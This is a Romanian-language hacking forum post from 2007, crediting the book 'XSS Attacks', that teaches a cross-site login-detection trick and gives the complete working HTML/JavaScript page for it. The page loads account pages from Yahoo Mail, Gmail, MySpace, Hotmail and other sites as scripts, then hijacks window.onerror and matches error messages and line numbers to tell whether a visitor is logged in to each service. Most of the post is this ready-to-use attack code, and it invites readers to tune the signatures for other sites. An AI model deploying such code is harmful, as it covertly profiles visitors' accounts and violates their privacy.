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michee

JS Website Login Checker

By michee, in Tutoriale in romana

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michee Newbie

michee

Posted
Posted

Cum am zis ieri, azi vine partea a2a.....Creditz tot ptr autorii XSS Attacks 2007....

Principiul de functionare e urmatorul: Se face o cerere catre o pagina din contul unui website de genul <script src="mail.yahoo.com"></script>

Daca userul este logat in cont vom obtine o eroare js (ptr ca acea pagina e o pagina html de fapt nu e o pagina de cod js) la o anumita linie si cu o anumita descriere (sa zicem syntax error). Daca Userul nu e logat vom obtine eroare la alta linie (mai mult ca sigur zic eu --) si cu o alta descriere(sau chiar aceeeasi descriere).

Deci luandu-ne dupa nr de linie la care s-a obtinut eroarea si descrierea erorii putem sa ne dam seama daca userul e logat sau nu. Dar cum vedem noi nr de linie si descrierea? Facand hijack la functia window.onerror

care are ca parametri descrierea erorri, url-ul unde s-a obtinut eroarea si nr de linie.

Exemplul ptr Yahoo merge sigur, am modificat eu variabilele din exemplul de mai jos. Probabil celelalte site-uri au mai suferit modificari in pagina in caz de login/ logout si va trebui sa modificati putin variabilele.


<html>
<head>
<title>JavaScript WebSite Login Checker</title>
<script>
<!--
/*  inlocuim functia onerror  cu functia noastra */
window.onerror = err;
/*  Acestea sunt niste numere de linii si descriere de erori la cateva site-uri  in caz de login/logout . Yahoo merge sigur probabil celelalte vor trebui modificate unelel din ele, Yahoo a fost testat de mine pe data de 19/11/2007 si a mers*/

var sites = {
'http://mail.yahoo.com/' : {
'name' : 'Yahoo Mail (Beta)',
'login_msg' : 'syntax error',
'login_line' : '16',
'logout_msg' : 'syntax error',
'logout_line' : '7',
},
'http://mail.google.com/mail/' : {
'name' : 'Gmail',
'login_msg' : 'XML tag name mismatch',
'login_line' : '8',
'logout_msg' : 'invalid XML attribute value',
'logout_line' : '3',
},
'http://profileedit.myspace.com/index.cfm?fuseaction=profile.interests' : {
'name' : 'MySpace',
'login_msg' : 'missing } in XML expression',
'login_line' : '21',
'logout_msg' : 'syntax error',
'logout_line' : '82',
},
'http://beta.blogger.com/adsense-preview.g?blogID=13756280' : {
'name' : 'Blogger (Beta)',
'login_msg' : 'XML tag name mismatch',
'login_line' : '8',
'logout_msg' : 'syntax error',
'logout_line' : '1',
},
'http://www.flickr.com/account' : {
'name' : 'Flickr',
'login_msg' : 'syntax error',
'login_line' : '1',
'logout_msg' : 'syntax error',
'logout_line' : '7',
},
'http://www.hotmail.com/' : {
'name' : 'Hotmail',
'login_msg' : 'missing } in XML expression',
'login_line' : '1',
'logout_msg' : 'syntax error',
'logout_line' : '3',
},
'http://my.msn.com/' : {
'name' : 'My MSN',
'login_msg' : 'missing } in XML expression',
'login_line' : '1',
'logout_msg' : 'syntax error',
'logout_line' : '3',
},
'http://searchappsecurity.techtarget.com/login/' : {
'name' : 'SearchAppSecurity Techtarget',
'login_msg' : 'syntax error',
'login_line' : '16',
'logout_msg' : 'syntax error',
'logout_line' : '3',
},
'https://www.google.com/accounts/ManageAccount' : {
'name' : 'Google',
'login_msg' : 'XML tag name mismatch',
'login_line' : '91',
'logout_msg' : 'missing = in XML attribute',
'logout_line' : '35',
}
};
/*  Creem un tabel dinamic ptr fiecare site in parte*/
function addRow(loc) {
	var table = document.getElementById('results');
	var tr = document.createElement('tr');
	table.appendChild(tr);
	var td1 = document.createElement('td');
	td1.innerHTML = sites[loc].name;
	tr.appendChild(td1);
	var td2 = document.createElement('td');
	td2.width = 200;
	td2.setAttribute('id', sites[loc].name);
	td2.innerHTML = '';
	tr.appendChild(td2);
	var td3 = document.createElement('td');
	tr.appendChild(td3);
	var button = document.createElement('input');
	button.type = "button";
	button.value = "Check";
	button.setAttribute("OnClick", 'check("' + loc + '");');
	td3.appendChild(button);
}
/*  Creea un request Catre link-urile de mai sus care vor genera erorile de analizat */
function check(loc) {
var script = document.createElement('script');
script.setAttribute('src', loc);
document.body.appendChild(script);
}
/*  handlerul de erori care va decide daca userul e logat sau nu.*/
function err(msg, loc, line) {
/* results block */
var res = document.getElementById(sites[loc].name);
/* check to see if the current test URL matches the signature error message
and line number */
if ((msg == sites[loc].login_msg) && (line == sites[loc].login_line)) {
res.innerHTML = "Logged-in";
} else if ((msg == sites[loc].logout_msg) && (line ==
sites[loc].logout_line)) {
res.innerHTML = "Not Logged-in";
} else {
res.innerHTML = "Not Logged-in";
}
window.stop();
} // end err subroutine
// -->
</script>
</head>
<body>
<div align="center">
<h1>JavaScript WebSite Login Checker</h1>
<table id="results" border="1" cellpadding="3" cellspacing="0"></table>
<script>
for (var i in sites) {
addRow(i);
}
</script>
</div>
</body>
</html>

Astept intrebari, poate n-am fost nestul de clar in explicatii, sunt cam rupt de oboseala cand am scris asta.

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